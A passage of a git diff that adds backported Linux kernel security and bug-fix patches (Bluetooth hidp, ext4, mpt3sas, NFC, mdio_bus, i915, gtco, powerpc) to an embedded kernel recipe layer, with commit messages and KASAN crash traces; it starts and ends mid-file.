*pud=0000001fbf893003, +*pmd=0000001fbf894003, *pte=006000006d000707 +Internal error: Oops: 96000005 [#1] SMP + Modules linked in: + CPU: 18 PID: 1 Comm: swapper/0 Not tainted + task: ffffffdfb9290000 ti: ffffffdfb923c000 task.ti: ffffffdfb923c000 + PC is at megasas_free_cmds+0x30/0x70 + LR is at megasas_free_cmds+0x24/0x70 + ... + Call trace: + [] megasas_free_cmds+0x30/0x70 + [] megasas_init_adapter_fusion+0x2f4/0x4d8 + [] megasas_init_fw+0x2dc/0x760 + [] megasas_probe_one+0x3c0/0xcd8 + [] local_pci_probe+0x4c/0xb4 + [] pci_device_probe+0x11c/0x14c + [] driver_probe_device+0x1ec/0x430 + [] __driver_attach+0xa8/0xb0 + [] bus_for_each_dev+0x74/0xc8 + [] driver_attach+0x28/0x34 + [] bus_add_driver+0x16c/0x248 + [] driver_register+0x6c/0x138 + [] __pci_register_driver+0x5c/0x6c + [] megasas_init+0xc0/0x1a8 + [] do_one_initcall+0xe8/0x1ec + [] kernel_init_freeable+0x1c8/0x284 + [] kernel_init+0x1c/0xe4 + +Signed-off-by: Jason Yan +Acked-by: Sumit Saxena +Signed-off-by: Martin K. Petersen +Signed-off-by: Sasha Levin +--- + drivers/scsi/megaraid/megaraid_sas_base.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/scsi/megaraid/megaraid_sas_base.c b/drivers/scsi/megaraid/megaraid_sas_base.c +index 1ff0ece876441..24cc8786ff069 100644 +--- a/drivers/scsi/megaraid/megaraid_sas_base.c ++++ b/drivers/scsi/megaraid/megaraid_sas_base.c +@@ -3743,6 +3743,7 @@ int megasas_alloc_cmds(struct megasas_instance *instance) + if (megasas_create_frame_pool(instance)) { + printk(KERN_DEBUG "megasas: Error creating frame DMA pool\n"); + megasas_free_cmds(instance); ++ return -ENOMEM; + } + + return 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0531.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0531.diff new file mode 100644 index 0000000..8f5fa18 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0531.diff @@ -0,0 +1,57 @@ +diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c +index 91cac8b..9d3f18f 100644 +--- a/fs/ext4/extents.c ++++ b/fs/ext4/extents.c +@@ -1043,6 +1043,7 @@ + __le32 border; + ext4_fsblk_t *ablocks = NULL; /* array of allocated blocks */ + int err = 0; ++ size_t ext_size = 0; + + /* make decision: where to split? */ + /* FIXME: now decision is simplest: at current extent */ +@@ -1134,6 +1135,10 @@ + le16_add_cpu(&neh->eh_entries, m); + } + ++ /* zero out unused area in the extent block */ ++ ext_size = sizeof(struct ext4_extent_header) + ++ sizeof(struct ext4_extent) * le16_to_cpu(neh->eh_entries); ++ memset(bh->b_data + ext_size, 0, inode->i_sb->s_blocksize - ext_size); + ext4_extent_block_csum_set(inode, neh); + set_buffer_uptodate(bh); + unlock_buffer(bh); +@@ -1213,6 +1218,11 @@ + sizeof(struct ext4_extent_idx) * m); + le16_add_cpu(&neh->eh_entries, m); + } ++ /* zero out unused area in the extent block */ ++ ext_size = sizeof(struct ext4_extent_header) + ++ (sizeof(struct ext4_extent) * le16_to_cpu(neh->eh_entries)); ++ memset(bh->b_data + ext_size, 0, ++ inode->i_sb->s_blocksize - ext_size); + ext4_extent_block_csum_set(inode, neh); + set_buffer_uptodate(bh); + unlock_buffer(bh); +@@ -1278,6 +1288,7 @@ + ext4_fsblk_t newblock, goal = 0; + struct ext4_super_block *es = EXT4_SB(inode->i_sb)->s_es; + int err = 0; ++ size_t ext_size = 0; + + /* Try to prepend new index to old one */ + if (ext_depth(inode)) +@@ -1303,9 +1314,11 @@ + goto out; + } + ++ ext_size = sizeof(EXT4_I(inode)->i_data); + /* move top-level index/leaf into new block */ +- memmove(bh->b_data, EXT4_I(inode)->i_data, +- sizeof(EXT4_I(inode)->i_data)); ++ memmove(bh->b_data, EXT4_I(inode)->i_data, ext_size); ++ /* zero out unused area in the extent block */ ++ memset(bh->b_data + ext_size, 0, inode->i_sb->s_blocksize - ext_size); + + /* set size of new block */ + neh = ext_block_hdr(bh); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0532-9c47ad93de73-Bluetooth hidp fix buffer overflow.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0532-9c47ad93de73-Bluetooth hidp fix buffer overflow.patch new file mode 100644 index 0000000..e8b4ea9 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0532-9c47ad93de73-Bluetooth hidp fix buffer overflow.patch @@ -0,0 +1,36 @@ +From 9c47ad93de73786aef31033e2aabd9df020e68cd Mon Sep 17 00:00:00 2001 +From: Young Xiao +Date: Fri, 12 Apr 2019 15:24:30 +0800 +Subject: Bluetooth: hidp: fix buffer overflow + +commit a1616a5ac99ede5d605047a9012481ce7ff18b16 upstream. + +Struct ca is copied from userspace. It is not checked whether the "name" +field is NULL terminated, which allows local users to obtain potentially +sensitive information from kernel stack memory, via a HIDPCONNADD command. + +This vulnerability is similar to CVE-2011-1079. + +Signed-off-by: Young Xiao +Signed-off-by: Marcel Holtmann +Cc: stable@vger.kernel.org +Signed-off-by: Greg Kroah-Hartman +--- + net/bluetooth/hidp/sock.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/bluetooth/hidp/sock.c b/net/bluetooth/hidp/sock.c +index cb3fdde1968a0..322047f9d0389 100644 +--- a/net/bluetooth/hidp/sock.c ++++ b/net/bluetooth/hidp/sock.c +@@ -76,6 +76,7 @@ static int hidp_sock_ioctl(struct socket *sock, unsigned int cmd, unsigned long + sockfd_put(csock); + return err; + } ++ ca.name[sizeof(ca.name)-1] = 0; + + err = hidp_connection_add(&ca, csock, isock); + if (!err && copy_to_user(argp, &ca, sizeof(ca))) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0533-95baa60a0da8-ipv6sockglue Fix a missingcheck bug in ip6racontrol.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0533-95baa60a0da8-ipv6sockglue Fix a missingcheck bug in ip6racontrol.patch new file mode 100644 index 0000000..e17fc80 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0533-95baa60a0da8-ipv6sockglue Fix a missingcheck bug in ip6racontrol.patch @@ -0,0 +1,33 @@ +From 95baa60a0da80a0143e3ddd4d3725758b4513825 Mon Sep 17 00:00:00 2001 +From: Gen Zhang +Date: Fri, 24 May 2019 11:19:46 +0800 +Subject: ipv6_sockglue: Fix a missing-check bug in ip6_ra_control() + +In function ip6_ra_control(), the pointer new_ra is allocated a memory +space via kmalloc(). And it is used in the following codes. However, +when there is a memory allocation error, kmalloc() fails. Thus null +pointer dereference may happen. And it will cause the kernel to crash. +Therefore, we should check the return value and handle the error. + +Signed-off-by: Gen Zhang +Signed-off-by: David S. Miller +--- + net/ipv6/ipv6_sockglue.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/net/ipv6/ipv6_sockglue.c b/net/ipv6/ipv6_sockglue.c +index 40f21fef25ff..0a3d035feb61 100644 +--- a/net/ipv6/ipv6_sockglue.c ++++ b/net/ipv6/ipv6_sockglue.c +@@ -68,6 +68,8 @@ int ip6_ra_control(struct sock *sk, int sel) + return -ENOPROTOOPT; + + new_ra = (sel >= 0) ? kmalloc(sizeof(*new_ra), GFP_KERNEL) : NULL; ++ if (sel >= 0 && !new_ra) ++ return -ENOMEM; + + write_lock_bh(&ip6_ra_lock); + for (rap = &ip6_ra_chain; (ra = *rap) != NULL; rap = &ra->next) { +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0534-f9e3ebeea452-scsi mpt3sasctl fix doublefetch bug in ctlioctlmain.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0534-f9e3ebeea452-scsi mpt3sasctl fix doublefetch bug in ctlioctlmain.patch new file mode 100644 index 0000000..8485483 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0534-f9e3ebeea452-scsi mpt3sasctl fix doublefetch bug in ctlioctlmain.patch @@ -0,0 +1,43 @@ +From f9e3ebeea4521652318af903cddeaf033527e93e Mon Sep 17 00:00:00 2001 +From: Gen Zhang +Date: Thu, 30 May 2019 09:10:30 +0800 +Subject: scsi: mpt3sas_ctl: fix double-fetch bug in _ctl_ioctl_main() + +In _ctl_ioctl_main(), 'ioctl_header' is fetched the first time from +userspace. 'ioctl_header.ioc_number' is then checked. The legal result is +saved to 'ioc'. Then, in condition MPT3COMMAND, the whole struct is fetched +again from the userspace. Then _ctl_do_mpt_command() is called, 'ioc' and +'karg' as inputs. + +However, a malicious user can change the 'ioc_number' between the two +fetches, which will cause a potential security issues. Moreover, a +malicious user can provide a valid 'ioc_number' to pass the check in first +fetch, and then modify it in the second fetch. + +To fix this, we need to recheck the 'ioc_number' in the second fetch. + +Signed-off-by: Gen Zhang +Acked-by: Suganath Prabu S +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/mpt3sas/mpt3sas_ctl.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/drivers/scsi/mpt3sas/mpt3sas_ctl.c b/drivers/scsi/mpt3sas/mpt3sas_ctl.c +index b2bb47c14d35..5181c03e82a6 100644 +--- a/drivers/scsi/mpt3sas/mpt3sas_ctl.c ++++ b/drivers/scsi/mpt3sas/mpt3sas_ctl.c +@@ -2319,6 +2319,10 @@ _ctl_ioctl_main(struct file *file, unsigned int cmd, void __user *arg, + break; + } + ++ if (karg.hdr.ioc_number != ioctl_header.ioc_number) { ++ ret = -EINVAL; ++ break; ++ } + if (_IOC_SIZE(cmd) == sizeof(struct mpt3_ioctl_command)) { + uarg = arg; + ret = _ctl_do_mpt_command(ioc, karg, &uarg->mf); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0535-efa9ace68e48-powerpcpseriesdlpar Fix a missing check in.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0535-efa9ace68e48-powerpcpseriesdlpar Fix a missing check in.patch new file mode 100644 index 0000000..72dea82 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0535-efa9ace68e48-powerpcpseriesdlpar Fix a missing check in.patch @@ -0,0 +1,34 @@ +From efa9ace68e487ddd29c2b4d6dd23242158f1f607 Mon Sep 17 00:00:00 2001 +From: Gen Zhang +Date: Sun, 26 May 2019 10:42:40 +0800 +Subject: powerpc/pseries/dlpar: Fix a missing check in + dlpar_parse_cc_property() + +In dlpar_parse_cc_property(), 'prop->name' is allocated by kstrdup(). +kstrdup() may return NULL, so it should be checked and handle error. +And prop should be freed if 'prop->name' is NULL. + +Signed-off-by: Gen Zhang +Signed-off-by: Michael Ellerman +--- + arch/powerpc/platforms/pseries/dlpar.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/arch/powerpc/platforms/pseries/dlpar.c b/arch/powerpc/platforms/pseries/dlpar.c +index 17958043e7f7..c852024044bb 100644 +--- a/arch/powerpc/platforms/pseries/dlpar.c ++++ b/arch/powerpc/platforms/pseries/dlpar.c +@@ -61,6 +61,10 @@ static struct property *dlpar_parse_cc_property(struct cc_workarea *ccwa) + + name = (char *)ccwa + be32_to_cpu(ccwa->name_offset); + prop->name = kstrdup(name, GFP_KERNEL); ++ if (!prop->name) { ++ dlpar_free_cc_property(prop); ++ return NULL; ++ } + + prop->length = be32_to_cpu(ccwa->prop_length); + value = (char *)ccwa + be32_to_cpu(ccwa->prop_offset); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0536-e89106985667-net nfc Fix NULL dereference on nfcllcpbuildtlv fails.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0536-e89106985667-net nfc Fix NULL dereference on nfcllcpbuildtlv fails.patch new file mode 100644 index 0000000..d71c375 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0536-e89106985667-net nfc Fix NULL dereference on nfcllcpbuildtlv fails.patch @@ -0,0 +1,161 @@ +From e89106985667c7119fa580f74a7beb453399f44c Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Fri, 22 Feb 2019 15:37:58 +0800 +Subject: net: nfc: Fix NULL dereference on nfc_llcp_build_tlv fails + +[ Upstream commit 58bdd544e2933a21a51eecf17c3f5f94038261b5 ] + +KASAN report this: + +BUG: KASAN: null-ptr-deref in nfc_llcp_build_gb+0x37f/0x540 [nfc] +Read of size 3 at addr 0000000000000000 by task syz-executor.0/5401 + +CPU: 0 PID: 5401 Comm: syz-executor.0 Not tainted 5.0.0-rc7+ #45 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 +Call Trace: + __dump_stack lib/dump_stack.c:77 [inline] + dump_stack+0xfa/0x1ce lib/dump_stack.c:113 + kasan_report+0x171/0x18d mm/kasan/report.c:321 + memcpy+0x1f/0x50 mm/kasan/common.c:130 + nfc_llcp_build_gb+0x37f/0x540 [nfc] + nfc_llcp_register_device+0x6eb/0xb50 [nfc] + nfc_register_device+0x50/0x1d0 [nfc] + nfcsim_device_new+0x394/0x67d [nfcsim] + ? 0xffffffffc1080000 + nfcsim_init+0x6b/0x1000 [nfcsim] + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe +RIP: 0033:0x462e99 +Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 +RSP: 002b:00007f9cb79dcc58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139 +RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99 +RDX: 0000000000000000 RSI: 0000000020000280 RDI: 0000000000000003 +RBP: 00007f9cb79dcc70 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000246 R12: 00007f9cb79dd6bc +R13: 00000000004bcefb R14: 00000000006f7030 R15: 0000000000000004 + +nfc_llcp_build_tlv will return NULL on fails, caller should check it, +otherwise will trigger a NULL dereference. + +Reported-by: Hulk Robot +Fixes: eda21f16a5ed ("NFC: Set MIU and RW values from CONNECT and CC LLCP frames") +Fixes: d646960f7986 ("NFC: Initial LLCP support") +Signed-off-by: YueHaibing +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/nfc/llcp_commands.c | 20 ++++++++++++++++++++ + net/nfc/llcp_core.c | 24 ++++++++++++++++++++---- + 2 files changed, 40 insertions(+), 4 deletions(-) + +diff --git a/net/nfc/llcp_commands.c b/net/nfc/llcp_commands.c +index 11da8abb9a66e..775f94dbb9cd0 100644 +--- a/net/nfc/llcp_commands.c ++++ b/net/nfc/llcp_commands.c +@@ -418,6 +418,10 @@ int nfc_llcp_send_connect(struct nfc_llcp_sock *sock) + sock->service_name, + sock->service_name_len, + &service_name_tlv_length); ++ if (!service_name_tlv) { ++ err = -ENOMEM; ++ goto error_tlv; ++ } + size += service_name_tlv_length; + } + +@@ -428,9 +432,17 @@ int nfc_llcp_send_connect(struct nfc_llcp_sock *sock) + + miux_tlv = nfc_llcp_build_tlv(LLCP_TLV_MIUX, (u8 *)&miux, 0, + &miux_tlv_length); ++ if (!miux_tlv) { ++ err = -ENOMEM; ++ goto error_tlv; ++ } + size += miux_tlv_length; + + rw_tlv = nfc_llcp_build_tlv(LLCP_TLV_RW, &rw, 0, &rw_tlv_length); ++ if (!rw_tlv) { ++ err = -ENOMEM; ++ goto error_tlv; ++ } + size += rw_tlv_length; + + pr_debug("SKB size %d SN length %zu\n", size, sock->service_name_len); +@@ -484,9 +496,17 @@ int nfc_llcp_send_cc(struct nfc_llcp_sock *sock) + + miux_tlv = nfc_llcp_build_tlv(LLCP_TLV_MIUX, (u8 *)&miux, 0, + &miux_tlv_length); ++ if (!miux_tlv) { ++ err = -ENOMEM; ++ goto error_tlv; ++ } + size += miux_tlv_length; + + rw_tlv = nfc_llcp_build_tlv(LLCP_TLV_RW, &rw, 0, &rw_tlv_length); ++ if (!rw_tlv) { ++ err = -ENOMEM; ++ goto error_tlv; ++ } + size += rw_tlv_length; + + skb = llcp_allocate_pdu(sock, LLCP_PDU_CC, size); +diff --git a/net/nfc/llcp_core.c b/net/nfc/llcp_core.c +index 51e7887973171..f271e38d72b7c 100644 +--- a/net/nfc/llcp_core.c ++++ b/net/nfc/llcp_core.c +@@ -531,10 +531,10 @@ static u8 nfc_llcp_reserve_sdp_ssap(struct nfc_llcp_local *local) + + static int nfc_llcp_build_gb(struct nfc_llcp_local *local) + { +- u8 *gb_cur, *version_tlv, version, version_length; +- u8 *lto_tlv, lto_length; +- u8 *wks_tlv, wks_length; +- u8 *miux_tlv, miux_length; ++ u8 *gb_cur, version, version_length; ++ u8 lto_length, wks_length, miux_length; ++ u8 *version_tlv = NULL, *lto_tlv = NULL, ++ *wks_tlv = NULL, *miux_tlv = NULL; + __be16 wks = cpu_to_be16(local->local_wks); + u8 gb_len = 0; + int ret = 0; +@@ -542,17 +542,33 @@ static int nfc_llcp_build_gb(struct nfc_llcp_local *local) + version = LLCP_VERSION_11; + version_tlv = nfc_llcp_build_tlv(LLCP_TLV_VERSION, &version, + 1, &version_length); ++ if (!version_tlv) { ++ ret = -ENOMEM; ++ goto out; ++ } + gb_len += version_length; + + lto_tlv = nfc_llcp_build_tlv(LLCP_TLV_LTO, &local->lto, 1, <o_length); ++ if (!lto_tlv) { ++ ret = -ENOMEM; ++ goto out; ++ } + gb_len += lto_length; + + pr_debug("Local wks 0x%lx\n", local->local_wks); + wks_tlv = nfc_llcp_build_tlv(LLCP_TLV_WKS, (u8 *)&wks, 2, &wks_length); ++ if (!wks_tlv) { ++ ret = -ENOMEM; ++ goto out; ++ } + gb_len += wks_length; + + miux_tlv = nfc_llcp_build_tlv(LLCP_TLV_MIUX, (u8 *)&local->miux, 0, + &miux_length); ++ if (!miux_tlv) { ++ ret = -ENOMEM; ++ goto out; ++ } + gb_len += miux_length; + + gb_len += ARRAY_SIZE(llcp_magic); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0537-077a353641d2-mdiobus Fix useafterfree on deviceregister fails.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0537-077a353641d2-mdiobus Fix useafterfree on deviceregister fails.patch new file mode 100644 index 0000000..4f8223b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0537-077a353641d2-mdiobus Fix useafterfree on deviceregister fails.patch @@ -0,0 +1,128 @@ +From 077a353641d29fc28062866ec589eb2e365f1d56 Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Thu, 21 Feb 2019 22:42:01 +0800 +Subject: mdio_bus: Fix use-after-free on device_register fails + +[ Upstream commit 6ff7b060535e87c2ae14dd8548512abfdda528fb ] + +KASAN has found use-after-free in fixed_mdio_bus_init, +commit 0c692d07842a ("drivers/net/phy/mdio_bus.c: call +put_device on device_register() failure") call put_device() +while device_register() fails,give up the last reference +to the device and allow mdiobus_release to be executed +,kfreeing the bus. However in most drives, mdiobus_free +be called to free the bus while mdiobus_register fails. +use-after-free occurs when access bus again, this patch +revert it to let mdiobus_free free the bus. + +KASAN report details as below: + +BUG: KASAN: use-after-free in mdiobus_free+0x85/0x90 drivers/net/phy/mdio_bus.c:482 +Read of size 4 at addr ffff8881dc824d78 by task syz-executor.0/3524 + +CPU: 1 PID: 3524 Comm: syz-executor.0 Not tainted 5.0.0-rc7+ #45 +Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 +Call Trace: + __dump_stack lib/dump_stack.c:77 [inline] + dump_stack+0xfa/0x1ce lib/dump_stack.c:113 + print_address_description+0x65/0x270 mm/kasan/report.c:187 + kasan_report+0x149/0x18d mm/kasan/report.c:317 + mdiobus_free+0x85/0x90 drivers/net/phy/mdio_bus.c:482 + fixed_mdio_bus_init+0x283/0x1000 [fixed_phy] + ? 0xffffffffc0e40000 + ? 0xffffffffc0e40000 + ? 0xffffffffc0e40000 + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe +RIP: 0033:0x462e99 +Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 +RSP: 002b:00007f6215c19c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139 +RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99 +RDX: 0000000000000000 RSI: 0000000020000080 RDI: 0000000000000003 +RBP: 00007f6215c19c70 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000246 R12: 00007f6215c1a6bc +R13: 00000000004bcefb R14: 00000000006f7030 R15: 0000000000000004 + +Allocated by task 3524: + set_track mm/kasan/common.c:85 [inline] + __kasan_kmalloc.constprop.3+0xa0/0xd0 mm/kasan/common.c:496 + kmalloc include/linux/slab.h:545 [inline] + kzalloc include/linux/slab.h:740 [inline] + mdiobus_alloc_size+0x54/0x1b0 drivers/net/phy/mdio_bus.c:143 + fixed_mdio_bus_init+0x163/0x1000 [fixed_phy] + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +Freed by task 3524: + set_track mm/kasan/common.c:85 [inline] + __kasan_slab_free+0x130/0x180 mm/kasan/common.c:458 + slab_free_hook mm/slub.c:1409 [inline] + slab_free_freelist_hook mm/slub.c:1436 [inline] + slab_free mm/slub.c:2986 [inline] + kfree+0xe1/0x270 mm/slub.c:3938 + device_release+0x78/0x200 drivers/base/core.c:919 + kobject_cleanup lib/kobject.c:662 [inline] + kobject_release lib/kobject.c:691 [inline] + kref_put include/linux/kref.h:67 [inline] + kobject_put+0x146/0x240 lib/kobject.c:708 + put_device+0x1c/0x30 drivers/base/core.c:2060 + __mdiobus_register+0x483/0x560 drivers/net/phy/mdio_bus.c:382 + fixed_mdio_bus_init+0x26b/0x1000 [fixed_phy] + do_one_initcall+0xfa/0x5ca init/main.c:887 + do_init_module+0x204/0x5f6 kernel/module.c:3460 + load_module+0x66b2/0x8570 kernel/module.c:3808 + __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902 + do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + entry_SYSCALL_64_after_hwframe+0x49/0xbe + +The buggy address belongs to the object at ffff8881dc824c80 + which belongs to the cache kmalloc-2k of size 2048 +The buggy address is located 248 bytes inside of + 2048-byte region [ffff8881dc824c80, ffff8881dc825480) +The buggy address belongs to the page: +page:ffffea0007720800 count:1 mapcount:0 mapping:ffff8881f6c02800 index:0x0 compound_mapcount: 0 +flags: 0x2fffc0000010200(slab|head) +raw: 02fffc0000010200 0000000000000000 0000000500000001 ffff8881f6c02800 +raw: 0000000000000000 00000000800f000f 00000001ffffffff 0000000000000000 +page dumped because: kasan: bad access detected + +Memory state around the buggy address: + ffff8881dc824c00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc + ffff8881dc824c80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +>ffff8881dc824d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ^ + ffff8881dc824d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ffff8881dc824e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + +Fixes: 0c692d07842a ("drivers/net/phy/mdio_bus.c: call put_device on device_register() failure") +Signed-off-by: YueHaibing +Reviewed-by: Andrew Lunn +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/phy/mdio_bus.c | 1 - + 1 file changed, 1 deletion(-) + +diff --git a/drivers/net/phy/mdio_bus.c b/drivers/net/phy/mdio_bus.c +index 50051f271b10e..8dfd1aeb8fab7 100644 +--- a/drivers/net/phy/mdio_bus.c ++++ b/drivers/net/phy/mdio_bus.c +@@ -261,7 +261,6 @@ int mdiobus_register(struct mii_bus *bus) + err = device_register(&bus->dev); + if (err) { + pr_err("mii_bus %s failed to register\n", bus->id); +- put_device(&bus->dev); + return -EINVAL; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0538.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0538.diff new file mode 100644 index 0000000..2986e9f --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0538.diff @@ -0,0 +1,14 @@ +diff --git a/drivers/gpu/drm/i915/i915_gem_userptr.c b/drivers/gpu/drm/i915/i915_gem_userptr.c +index 1719078..3381726 100644 +--- a/drivers/gpu/drm/i915/i915_gem_userptr.c ++++ b/drivers/gpu/drm/i915/i915_gem_userptr.c +@@ -795,6 +795,9 @@ + I915_USERPTR_UNSYNCHRONIZED)) + return -EINVAL; + ++ if (!args->user_size) ++ return -EINVAL; ++ + if (offset_in_page(args->user_ptr | args->user_size)) + return -EINVAL; + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0539.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0539.diff new file mode 100644 index 0000000..32a84c7 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0539.diff @@ -0,0 +1,53 @@ +diff --git a/drivers/input/tablet/gtco.c b/drivers/input/tablet/gtco.c +index fe1ab50..cf3af3a 100644 +--- a/drivers/input/tablet/gtco.c ++++ b/drivers/input/tablet/gtco.c +@@ -78,6 +78,7 @@ + + /* Max size of a single report */ + #define REPORT_MAX_SIZE 10 ++#define MAX_COLLECTION_LEVELS 10 + + + /* Bitmask whether pen is in range */ +@@ -224,8 +225,7 @@ + char maintype = 'x'; + char globtype[12]; + int indent = 0; +- char indentstr[10] = ""; +- ++ char indentstr[MAX_COLLECTION_LEVELS + 1] = { 0 }; + + dev_dbg(ddev, "======>>>>>>PARSE<<<<<<======\n"); + +@@ -351,6 +351,13 @@ + case TAG_MAIN_COL_START: + maintype = 'S'; + ++ if (indent == MAX_COLLECTION_LEVELS) { ++ dev_err(ddev, "Collection level %d would exceed limit of %d\n", ++ indent + 1, ++ MAX_COLLECTION_LEVELS); ++ break; ++ } ++ + if (data == 0) { + dev_dbg(ddev, "======>>>>>> Physical\n"); + strcpy(globtype, "Physical"); +@@ -370,8 +377,15 @@ + break; + + case TAG_MAIN_COL_END: +- dev_dbg(ddev, "<<<<<<======\n"); + maintype = 'E'; ++ ++ if (indent == 0) { ++ dev_err(ddev, "Collection level already at zero\n"); ++ break; ++ } ++ ++ dev_dbg(ddev, "<<<<<<======\n"); ++ + indent--; + for (x = 0; x < indent; x++) + indentstr[x] = '-'; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0540.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0540.diff new file mode 100644 index 0000000..b2a7091 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0540.diff @@ -0,0 +1,30 @@ +diff --git a/arch/powerpc/kernel/signal_32.c b/arch/powerpc/kernel/signal_32.c +index da50e0c..945dd66 100644 +--- a/arch/powerpc/kernel/signal_32.c ++++ b/arch/powerpc/kernel/signal_32.c +@@ -1252,6 +1252,9 @@ + goto bad; + + if (MSR_TM_ACTIVE(msr_hi<<32)) { ++ /* Trying to start TM on non TM system */ ++ if (!cpu_has_feature(CPU_FTR_TM)) ++ goto bad; + /* We only recheckpoint on return if we're + * transaction. + */ +diff --git a/arch/powerpc/kernel/signal_64.c b/arch/powerpc/kernel/signal_64.c +index c7c24d2..cf56d4c 100644 +--- a/arch/powerpc/kernel/signal_64.c ++++ b/arch/powerpc/kernel/signal_64.c +@@ -680,6 +680,11 @@ + if (MSR_TM_ACTIVE(msr)) { + /* We recheckpoint on return. */ + struct ucontext __user *uc_transact; ++ ++ /* Trying to start TM on non TM system */ ++ if (!cpu_has_feature(CPU_FTR_TM)) ++ goto badframe; ++ + if (__get_user(uc_transact, &uc->uc_link)) + goto badframe; + if (restore_tm_sigcontexts(regs, &uc->uc_mcontext, diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0541-e73a43245a30-net core null pointer derefernce in sockevclientcb.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0541-e73a43245a30-net core null pointer derefernce in sockevclientcb.patch new file mode 100644 index 0000000..2bc2d05 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0541-e73a43245a30-net core null pointer derefernce in sockevclientcb.patch @@ -0,0 +1,80 @@ +From 